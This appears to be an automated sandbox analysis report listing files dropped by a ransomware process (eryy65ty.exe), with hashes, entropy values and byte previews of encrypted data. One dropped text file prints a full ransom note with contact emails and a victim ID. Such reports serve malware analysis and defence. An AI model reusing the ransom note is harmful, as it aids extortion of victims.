                                                                                                                                        Preview:.Bg....pl....x.-[...W.p...n.d...P..$.4==J~.......Vm.(........./.1.....I...X..3...zk.P].......]..S#..N..%......w.nY.O..........L.n../..I.......G...mv.u.0.2..lfmp...T.P.RL.T+4.G.v..:.^.p..$..r...:7.H..(..G.Y....E3id...d..1,#...}M.]:t.Q,..-.....$...Ue.Dg.R...OY.B.%$.L.6n.1AU.6%..X.+.6......[T...!}lIQI.]....m...[..G...Y.T.W.0.I._......M.M....D.c.y".2.1h.e.X..n..M\V.....c.M.~..-E@..qM{..,4o.+:...).#g&Y.....B.W..V..|V...\4`{........./...)........X{u..}...!X......_W90.....FL.6vc..M.!.c.)...~............y.#g..!>e..w`/.v*..Va.. !]1.|...ig.HhX'.b*8......r..p..D......z.-.........n.u.D9......|bQ..s...g.t.Zoio*....(.v....J%......m...u.......\..z..f{.'. ...`]B$.5...q9..U....4(..}y:!.2.^;.;..........s.a.._..N......$o:....I.>..P.....7....$g.EYN~@....k@.j(p....2....I..;@....gP...Y.),y..]8........2......_B..K.:.#.{..*..,..4._tB.@a..@.....?@09.q...S...p.U.x.....C.28....VT.B|>..)>.....R..Y.k.[.s...T.z}..[j.M..=....>u..j`.j/.2....b..cY.$E.....0.;.z.f..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.858690784998972
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:9nWymwdx8JgxzeGmDqKzU4JGg+rn83yLgs8fg4X2vq020o6qk8Bw:5W1wda+xzBuqKzU4OL734mxto6p8i
                                                                                                                                        MD5:1429CDA1E88FCA242694BFE8A826F59C
                                                                                                                                        SHA1:2A2C03E1F802C13D56D56E0AB9BB0997A41BE2E2
                                                                                                                                        SHA-256:D8879C19511739E08F29951FB7134C1043436BF14715C1534F2DD3D80B5D0648
                                                                                                                                        SHA-512:2A92054AA691FEB2DAB6F29A3892AED27CFEEB1FF0399AD7DE0F151B5CFEBAD3A9D9B026C05BF6363CF7F3DFDD242366F55C4A32977248F4FEA12727D9B8589B
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.Bg....pl....x.-[...W.p...n.d...P..$.4==J~.......Vm.(........./.1.....I...X..3...zk.P].......]..S#..N..%......w.nY.O..........L.n../..I.......G...mv.u.0.2..lfmp...T.P.RL.T+4.G.v..:.^.p..$..r...:7.H..(..G.Y....E3id...d..1,#...}M.]:t.Q,..-.....$...Ue.Dg.R...OY.B.%$.L.6n.1AU.6%..X.+.6......[T...!}lIQI.]....m...[..G...Y.T.W.0.I._......M.M....D.c.y".2.1h.e.X..n..M\V.....c.M.~..-E@..qM{..,4o.+:...).#g&Y.....B.W..V..|V...\4`{........./...)........X{u..}...!X......_W90.....FL.6vc..M.!.c.)...~............y.#g..!>e..w`/.v*..Va.. !]1.|...ig.HhX'.b*8......r..p..D......z.-.........n.u.D9......|bQ..s...g.t.Zoio*....(.v....J%......m...u.......\..z..f{.'. ...`]B$.5...q9..U....4(..}y:!.2.^;.;..........s.a.._..N......$o:....I.>..P.....7....$g.EYN~@....k@.j(p....2....I..;@....gP...Y.),y..]8........2......_B..K.:.#.{..*..,..4._tB.@a..@.....?@09.q...S...p.U.x.....C.28....VT.B|>..)>.....R..Y.k.[.s...T.z}..[j.M..=....>u..j`.j/.2....b..cY.$E.....0.;.z.f..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.874725105795775
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:IXRkz5uAk43MIQiXQpiYpPYX7iqkt3o+Bc4OrqdD5xfhUP34qtY:IBkz5fkuQIdXecZrAD5tqY
                                                                                                                                        MD5:3E1C2554E8F6238DF691D97BB09644AD
                                                                                                                                        SHA1:5E18711697CA8BD36B45CB82BB809ACA05D7F967
                                                                                                                                        SHA-256:2FFE1668362D9515D63B51833956CEFBDD6282B5321EABD4A65FCD3B5CD73A2E
                                                                                                                                        SHA-512:88BC76F3F1E86EA720F0BFF60E3200224C0A1706005CD2CE3908006F3EC9C0FC5C1B26D80BF65F9BEBE3773B80CC78231070C4BFE93F3F936879A3F6E2478AED
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:|C9.........^..n..,.....7>Y.J.J:@.<.i$....z....a".z.t./.L..g ....e...[..Hbc..H.%GggbD.....[....s.......{.....3..{...9"ZC...N......\...j..k.....gU....h.7.uk@..C...w...r-..C...i..&..2.nW\#X>}.q<....+.H....7.].....,.aU..nYK.^.w!q].."..$1\..G|....cj1w.-...9#.,.9....]..S.1.k..^...m-.W.`......AU....4S.K..../.`7...L..(.Z.......z..%F'p..E..'...H.;.R.}.T|{.&.=.....d(f....5.M.[.........Y...........T-.22.[...k.(.2............Fd"~.....Q..Y...K.`..m....^..wTT.y...G.......xh.+......%.&F.X.?.U+{..s.....<..psC......8...@....sf./z...;G..(.`...H..o:..?......k..G3..7'..6......oD........y.I.B.t.I(.........N..w....._V8=.......$...O....a....8.#.)x_.b....H..5.W..*K\..+.....7......(r...q...C.....o...e..CJ..Y.CMGc....!....4.pCVU.r....p^-....G.;./..=".`T&.t|.2...X.vj`.T../.;o:...=W-...Tl...k.>m.....V.}......XB......oXx.*E..MB.g.......2.p[...>.m{..y..........U.......R#M.).....?.......E..%8...|=....+....&...O.P.E.....m.~.'+.....S.g.?_.M...gC.o.,O...Lo.@..5H.%
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.874725105795775
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:IXRkz5uAk43MIQiXQpiYpPYX7iqkt3o+Bc4OrqdD5xfhUP34qtY:IBkz5fkuQIdXecZrAD5tqY
                                                                                                                                        MD5:3E1C2554E8F6238DF691D97BB09644AD
                                                                                                                                        SHA1:5E18711697CA8BD36B45CB82BB809ACA05D7F967
                                                                                                                                        SHA-256:2FFE1668362D9515D63B51833956CEFBDD6282B5321EABD4A65FCD3B5CD73A2E
                                                                                                                                        SHA-512:88BC76F3F1E86EA720F0BFF60E3200224C0A1706005CD2CE3908006F3EC9C0FC5C1B26D80BF65F9BEBE3773B80CC78231070C4BFE93F3F936879A3F6E2478AED
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:|C9.........^..n..,.....7>Y.J.J:@.<.i$....z....a".z.t./.L..g ....e...[..Hbc..H.%GggbD.....[....s.......{.....3..{...9"ZC...N......\...j..k.....gU....h.7.uk@..C...w...r-..C...i..&..2.nW\#X>}.q<....+.H....7.].....,.aU..nYK.^.w!q].."..$1\..G|....cj1w.-...9#.,.9....]..S.1.k..^...m-.W.`......AU....4S.K..../.`7...L..(.Z.......z..%F'p..E..'...H.;.R.}.T|{.&.=.....d(f....5.M.[.........Y...........T-.22.[...k.(.2............Fd"~.....Q..Y...K.`..m....^..wTT.y...G.......xh.+......%.&F.X.?.U+{..s.....<..psC......8...@....sf./z...;G..(.`...H..o:..?......k..G3..7'..6......oD........y.I.B.t.I(.........N..w....._V8=.......$...O....a....8.#.)x_.b....H..5.W..*K\..+.....7......(r...q...C.....o...e..CJ..Y.CMGc....!....4.pCVU.r....p^-....G.;./..=".`T&.t|.2...X.vj`.T../.;o:...=W-...Tl...k.>m.....V.}......XB......oXx.*E..MB.g.......2.p[...>.m{..y..........U.......R#M.).....?.......E..%8...|=....+....&...O.P.E.....m.~.'+.....S.g.?_.M...gC.o.,O...Lo.@..5H.%
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.858309922129696
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:c1RLqIEOZz7YJ/CI5QNB12nkGpt2D4i4fk4o0HMmjSpNV9z8wAxy:4LqbgzUCICN9GKci46Q9Z+
                                                                                                                                        MD5:B36A42284221A606B1235A9690284E07
                                                                                                                                        SHA1:48DB0ED9D1C9E6803C6A61057125454112AF838A
                                                                                                                                        SHA-256:F6EB09A3EE9C51ED132B3B980B98E7B9A2638DA9DA80090ECF4D887FD37EA439
                                                                                                                                        SHA-512:14EAC33CC43FE97D85C855944D899E0BC1B15553930A2623B547CAF25BCB1F2CA14E833BA4C1FBEE8BE9FF39D2DFF584CA5A8E2E1810638D45B91CA0B696CBC6
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:n.VnF7.p.....&.....dt.Q.z.&h..hU...}jx.E?.W..%....&EG....!T.8.....R...:Bl..D[..";-.@.z.(*1...\..M... q2...!8.K."Nr....x...r:Yb.^.*t...G.6JnHy...........&....H.i..@Z.V.+gn..vN.w..d..w..O..5..#.%&....}.uA..:...p.}2...y.k!.9.../.r.yk.EY..G....y.e.6.l...#.".q.&k.3..~8.U.F.JF;p..a}2.U.$...~......c..x...c.J<X...../..1...$..QV.B./.q........9..V.S...Q....n..~.}....#^./.4.<..R..l?....k...J.!.vX..a4..........[e....]:1...... r.*u......f.#...2..#.a...;.|..Z.!v4.(....D...Y?(.3..CR..5.Dw.t.N....{U2Co=...932.Rt......G..Z...2Nfi..%.....&..w.1X....k.$jL...|..6..n...C\......w....F.......2.).y..iz}u..q./..Hl:B..`&).........eaR..w....G..S..A...P...%.?..#..L.x.+...M2.-.s`\.....3*%..8.q&.F.u.U\..t.d...=*...p..p.a.y..!?%......,.O....F.K...n.#.{.......$.........%.aQd...s%s.U..K......7....seN...r..In..+.~F..g....s2.s.E....B..Jl.....k.J...........H..:..h....n.<..o..]!> .m.9_.R.z)4.@..P.ai...a%@M..vA:..... .....].p.f.xz.....)....b...!.W.7.l..,J>..@....*...{.<V.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.858309922129696
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:c1RLqIEOZz7YJ/CI5QNB12nkGpt2D4i4fk4o0HMmjSpNV9z8wAxy:4LqbgzUCICN9GKci46Q9Z+
                                                                                                                                        MD5:B36A42284221A606B1235A9690284E07
                                                                                                                                        SHA1:48DB0ED9D1C9E6803C6A61057125454112AF838A
                                                                                                                                        SHA-256:F6EB09A3EE9C51ED132B3B980B98E7B9A2638DA9DA80090ECF4D887FD37EA439
                                                                                                                                        SHA-512:14EAC33CC43FE97D85C855944D899E0BC1B15553930A2623B547CAF25BCB1F2CA14E833BA4C1FBEE8BE9FF39D2DFF584CA5A8E2E1810638D45B91CA0B696CBC6
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:n.VnF7.p.....&.....dt.Q.z.&h..hU...}jx.E?.W..%....&EG....!T.8.....R...:Bl..D[..";-.@.z.(*1...\..M... q2...!8.K."Nr....x...r:Yb.^.*t...G.6JnHy...........&....H.i..@Z.V.+gn..vN.w..d..w..O..5..#.%&....}.uA..:...p.}2...y.k!.9.../.r.yk.EY..G....y.e.6.l...#.".q.&k.3..~8.U.F.JF;p..a}2.U.$...~......c..x...c.J<X...../..1...$..QV.B./.q........9..V.S...Q....n..~.}....#^./.4.<..R..l?....k...J.!.vX..a4..........[e....]:1...... r.*u......f.#...2..#.a...;.|..Z.!v4.(....D...Y?(.3..CR..5.Dw.t.N....{U2Co=...932.Rt......G..Z...2Nfi..%.....&..w.1X....k.$jL...|..6..n...C\......w....F.......2.).y..iz}u..q./..Hl:B..`&).........eaR..w....G..S..A...P...%.?..#..L.x.+...M2.-.s`\.....3*%..8.q&.F.u.U\..t.d...=*...p..p.a.y..!?%......,.O....F.K...n.#.{.......$.........%.aQd...s%s.U..K......7....seN...r..In..+.~F..g....s2.s.E....B..Jl.....k.J...........H..:..h....n.<..o..]!> .m.9_.R.z)4.@..P.ai...a%@M..vA:..... .....].p.f.xz.....)....b...!.W.7.l..,J>..@....*...{.<V.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.842525222021121
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:z7eUNyQQ/JdFG4eYKhbEWkN/D7jRbGhpvKfN0AKIqx28Bb7i7:z7ds/JjGmKOWYDnRKXq+AKI62uO7
                                                                                                                                        MD5:2FE3ADF663C6B908C1154353F15EA7CC
                                                                                                                                        SHA1:B3E715DDE1CBDCAA94BDD39E5679770DF5C3A555
                                                                                                                                        SHA-256:6517899461A51170A435C093D9EA1258FF1FDB32B606121090FDABF5137002B6
                                                                                                                                        SHA-512:1BC77797410B684D3F93AFAACA1B8B2B780BF354F6828A64945DAC6586C72D9B24FB2F52B7F0ADF730CEED466F786011AC4F2D04A2EB3BBEEF6756544A21D741
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:X...%.+...w%..Oy.n....I./.....y..........:..}.j..B.........#T....j...1.].v>. g...+.T.J..B.s~I..1.<!.88..Y...........i..n'.r.z...P.qm.C(...}T..<...d..J.....UAT&xN...o_1n....'.........DX...XX....'.#M2*..-.F...iA5..i=..,.wR."...vX...B.....Rsx.;.....'.'..b ....Ik........t?...Z..=.^"W...U..Bu...?.o.x+..8..*..H.....GA..+lQ..Q...,...l.../....9y.Gh..9%..Gu..m(.."f...Sk...LAH..u:K.D..$k...#0......dJ-..I.|;.Zg}x...........57..,.%5,......F.mu~.c.j..2......g...k^P.....X..j...>......+;..&1....~Tc..|.8....W.N.>%...H..>}S.D...Q_...SR.M....K...@5.?...)..L..d.n.9+5..GL.T.h..../.p..?w.MA.?....*.~.=........V}VSW-.........`.(f......y.....1X(Xl..U..~......o..4..B.r..4.d....=w)...}....o.t.Hg.9I*....9....|......k...4....".&.D0...n_.L.............I.-.|.J3,.N.....Pp.......Qb..|.GA..r.. .^..../l4...M.'.... gB...g...M.....N.O0...zCQ[......H.B..J.n.0.7...;.,Z..t..j..Q...`.4......u..L.D..wP.A....^E'.[......[^q..eEaz...S(+jx..Z".$.c.+.n%..jdku.d.li.K.-.<....L.HV.....|.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.842525222021121
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:z7eUNyQQ/JdFG4eYKhbEWkN/D7jRbGhpvKfN0AKIqx28Bb7i7:z7ds/JjGmKOWYDnRKXq+AKI62uO7
                                                                                                                                        MD5:2FE3ADF663C6B908C1154353F15EA7CC
                                                                                                                                        SHA1:B3E715DDE1CBDCAA94BDD39E5679770DF5C3A555
                                                                                                                                        SHA-256:6517899461A51170A435C093D9EA1258FF1FDB32B606121090FDABF5137002B6
                                                                                                                                        SHA-512:1BC77797410B684D3F93AFAACA1B8B2B780BF354F6828A64945DAC6586C72D9B24FB2F52B7F0ADF730CEED466F786011AC4F2D04A2EB3BBEEF6756544A21D741
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:X...%.+...w%..Oy.n....I./.....y..........:..}.j..B.........#T....j...1.].v>. g...+.T.J..B.s~I..1.<!.88..Y...........i..n'.r.z...P.qm.C(...}T..<...d..J.....UAT&xN...o_1n....'.........DX...XX....'.#M2*..-.F...iA5..i=..,.wR."...vX...B.....Rsx.;.....'.'..b ....Ik........t?...Z..=.^"W...U..Bu...?.o.x+..8..*..H.....GA..+lQ..Q...,...l.../....9y.Gh..9%..Gu..m(.."f...Sk...LAH..u:K.D..$k...#0......dJ-..I.|;.Zg}x...........57..,.%5,......F.mu~.c.j..2......g...k^P.....X..j...>......+;..&1....~Tc..|.8....W.N.>%...H..>}S.D...Q_...SR.M....K...@5.?...)..L..d.n.9+5..GL.T.h..../.p..?w.MA.?....*.~.=........V}VSW-.........`.(f......y.....1X(Xl..U..~......o..4..B.r..4.d....=w)...}....o.t.Hg.9I*....9....|......k...4....".&.D0...n_.L.............I.-.|.J3,.N.....Pp.......Qb..|.GA..r.. .^..../l4...M.'.... gB...g...M.....N.O0...zCQ[......H.B..J.n.0.7...;.,Z..t..j..Q...`.4......u..L.D..wP.A....^E'.[......[^q..eEaz...S(+jx..Z".$.c.+.n%..jdku.d.li.K.-.<....L.HV.....|.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1203
                                                                                                                                        Entropy (8bit):7.834902318158654
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:pnpqHNL6hoGum6lBVbRW9W4roLFkaS251fBfbnhZcA:pAHNLNm6lBx4us251pznhKA
                                                                                                                                        MD5:419F9E3A99A226393AD27054FD2BE0CC
                                                                                                                                        SHA1:1FC4C75A3E4F83707E6FE70EB7EE0E28A77319C2
                                                                                                                                        SHA-256:47C6E98396519ABC9890D20873B21B185F174922971C843F3C3A80D1C3CA88EC
                                                                                                                                        SHA-512:CE062F4918DF3661D827D588D2476264A5E66C7788978B52EA8B7CB01403D8073BD60EE61203FDA80AE7677BF1D61C45E2C2E4C7F7BC2A5B84F72F47205BD32A
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:..g.;........-.E.b........ E..9..3,UO.Z..Ws{.>.....!{.D.a....mh..(aY`?r.G.O..g...,+.'..N...l-b[.)k.....8....y..8@m.V....D-..D...v......o}..&.;Q.!............'..#4.ry..|I....U.G #....kb8..k*....`.........sv8J...N...O.@.,F.v1w.|.lU.....Y.M.ES.O<.\..74..I.._..>.P9...8.@z.YD.h...^.........L..O..i...d..d>.........;l.0...3..F.E..Q T..,#e..[......7...Z.zN..6.'d||....#....<=.l...f(......B...G......l.t....Zf.....{9L..eG.....w.N..CU..6....a.E......K..(Y....Y....Uab._.P..NY.2...(u.O.....Q.w./...]n+.e..:%.1FD.wn..'..c......h"[j..ibCj]....V..&..Y.ZQ....xC.J;xRZ..-..,.b}Y..3..2..8(G..4-k.r..b.Q..t...Jc5'.JT...W,..Hj..1;..X<4>...)...V...-N.XzvX.2..f.,?..P.H...]..~k.P@H..o.....wOS.. .....G4..1....{..zj.+2.!.s.}......(....<o!.O#...b].zn....-q..X.L.**Lg.Pe.;.0z.$.........J+.I.Y/.p......_u[.._.....m..l.=J...r.#~.... .....0)../H...Y..b..T....?.\...0....ua.`...5......{...>.J[b...\z...^.CI..= Nothing8.bc..j(gjb.j?..{[^o....?v\'R&..(..U)./Z..f.......K4((..l...
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1203
                                                                                                                                        Entropy (8bit):7.834902318158654
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:pnpqHNL6hoGum6lBVbRW9W4roLFkaS251fBfbnhZcA:pAHNLNm6lBx4us251pznhKA
                                                                                                                                        MD5:419F9E3A99A226393AD27054FD2BE0CC
                                                                                                                                        SHA1:1FC4C75A3E4F83707E6FE70EB7EE0E28A77319C2
                                                                                                                                        SHA-256:47C6E98396519ABC9890D20873B21B185F174922971C843F3C3A80D1C3CA88EC
                                                                                                                                        SHA-512:CE062F4918DF3661D827D588D2476264A5E66C7788978B52EA8B7CB01403D8073BD60EE61203FDA80AE7677BF1D61C45E2C2E4C7F7BC2A5B84F72F47205BD32A
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..g.;........-.E.b........ E..9..3,UO.Z..Ws{.>.....!{.D.a....mh..(aY`?r.G.O..g...,+.'..N...l-b[.)k.....8....y..8@m.V....D-..D...v......o}..&.;Q.!............'..#4.ry..|I....U.G #....kb8..k*....`.........sv8J...N...O.@.,F.v1w.|.lU.....Y.M.ES.O<.\..74..I.._..>.P9...8.@z.YD.h...^.........L..O..i...d..d>.........;l.0...3..F.E..Q T..,#e..[......7...Z.zN..6.'d||....#....<=.l...f(......B...G......l.t....Zf.....{9L..eG.....w.N..CU..6....a.E......K..(Y....Y....Uab._.P..NY.2...(u.O.....Q.w./...]n+.e..:%.1FD.wn..'..c......h"[j..ibCj]....V..&..Y.ZQ....xC.J;xRZ..-..,.b}Y..3..2..8(G..4-k.r..b.Q..t...Jc5'.JT...W,..Hj..1;..X<4>...)...V...-N.XzvX.2..f.,?..P.H...]..~k.P@H..o.....wOS.. .....G4..1....{..zj.+2.!.s.}......(....<o!.O#...b].zn....-q..X.L.**Lg.Pe.;.0z.$.........J+.I.Y/.p......_u[.._.....m..l.=J...r.#~.... .....0)../H...Y..b..T....?.\...0....ua.`...5......{...>.J[b...\z...^.CI..= Nothing8.bc..j(gjb.j?..{[^o....?v\'R&..(..U)./Z..f.......K4((..l...
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.825302492123333
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:L+2/tnmm/m8qDTxAg3+5ipX4JpzJZ96l5FVL6wbUkgNUCn+NL61in1:Lnt5O7ZA8EKoJ59K5ewlsUCnOL6c1
                                                                                                                                        MD5:BF2DF72DF993907D49F830C596B8CA12
                                                                                                                                        SHA1:B50487ABA6B73878F091CD9A55ABA5250E0B3FC4
                                                                                                                                        SHA-256:2C891E703F6C348781BB050B126E5367521B2DBE6BBB9EC6D7A481127635F707
                                                                                                                                        SHA-512:C25919017A8A47F35A3F6F9CEB2F6B74D8ACC515D012DB83A105D31C180FF8AB403049030C2E5C3965964158B1E8B2231CC584CC583900EBA75555FE430B07BF
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:*XA..X.)IL...#./..1.....I....2......S.....cP*R.(e.{+..JKq.$....PzZ..o......Zb....M4m.1.x{P]..Z..z.5...EM..C.1....|..\).8..n.i.?.Q..xP.v.C'..5..n.E*....w....0O..UC.ZU;.b$.*M...... h(.n....k]NC-.....f.("...C.\.wK...3t.l.!....Y..#AxAie#.2.LXz.(_....M*.x.}..~.+..&.B.X.B..Y.......1_...:..XvA.C5M.gq.L..,..-.!.... ]O?4.a....U_x.........g..1.......J.=.;O.3.W..UOd+.K.Y.....V8...S...r..M.pc....5?..8%7_w..b..:.+....rt.KH.\......}.W._.o..8..L&(...=...S._.s.-..{..|..|.K.U\>...fo.<..r......2.)d.......d..M.Y^.M,-.8.s..O..]z.mJ5.....+.Z.d.n....Y.....C.L6D..n..X...sm..0...i...V.J.O..[oL......j.d......u....LfR...*>=....K.n..Z1Gg.....x9...$.[......D.J.<G..\.di.....r..N....g<..].L...Z<. .......U...=.`.,;..C...|.}t..h-..?.Z.ip.0....Xui.....hg...j.q..j...T..1. ....|@`.Q.Y*.z....?H~..U...=.J.j.;y.....m<''.,......Z.a....&.&lK..> .<*...:..91......'B...Vu!{......\|.UW.s\...~.0X7P.#/...=....1..q9c..gs.....f...r..S..z#..)x..<[.....bg...b.@.Y..j_l..Q.LIF......J..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.825302492123333
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:L+2/tnmm/m8qDTxAg3+5ipX4JpzJZ96l5FVL6wbUkgNUCn+NL61in1:Lnt5O7ZA8EKoJ59K5ewlsUCnOL6c1
                                                                                                                                        MD5:BF2DF72DF993907D49F830C596B8CA12
                                                                                                                                        SHA1:B50487ABA6B73878F091CD9A55ABA5250E0B3FC4
                                                                                                                                        SHA-256:2C891E703F6C348781BB050B126E5367521B2DBE6BBB9EC6D7A481127635F707
                                                                                                                                        SHA-512:C25919017A8A47F35A3F6F9CEB2F6B74D8ACC515D012DB83A105D31C180FF8AB403049030C2E5C3965964158B1E8B2231CC584CC583900EBA75555FE430B07BF
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:*XA..X.)IL...#./..1.....I....2......S.....cP*R.(e.{+..JKq.$....PzZ..o......Zb....M4m.1.x{P]..Z..z.5...EM..C.1....|..\).8..n.i.?.Q..xP.v.C'..5..n.E*....w....0O..UC.ZU;.b$.*M...... h(.n....k]NC-.....f.("...C.\.wK...3t.l.!....Y..#AxAie#.2.LXz.(_....M*.x.}..~.+..&.B.X.B..Y.......1_...:..XvA.C5M.gq.L..,..-.!.... ]O?4.a....U_x.........g..1.......J.=.;O.3.W..UOd+.K.Y.....V8...S...r..M.pc....5?..8%7_w..b..:.+....rt.KH.\......}.W._.o..8..L&(...=...S._.s.-..{..|..|.K.U\>...fo.<..r......2.)d.......d..M.Y^.M,-.8.s..O..]z.mJ5.....+.Z.d.n....Y.....C.L6D..n..X...sm..0...i...V.J.O..[oL......j.d......u....LfR...*>=....K.n..Z1Gg.....x9...$.[......D.J.<G..\.di.....r..N....g<..].L...Z<. .......U...=.`.,;..C...|.}t..h-..?.Z.ip.0....Xui.....hg...j.q..j...T..1. ....|@`.Q.Y*.z....?H~..U...=.J.j.;y.....m<''.,......Z.a....&.&lK..> .<*...:..91......'B...Vu!{......\|.UW.s\...~.0X7P.#/...=....1..q9c..gs.....f...r..S..z#..)x..<[.....bg...b.@.Y..j_l..Q.LIF......J..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.835261077044493
                                                                                                                                        Encrypted:false
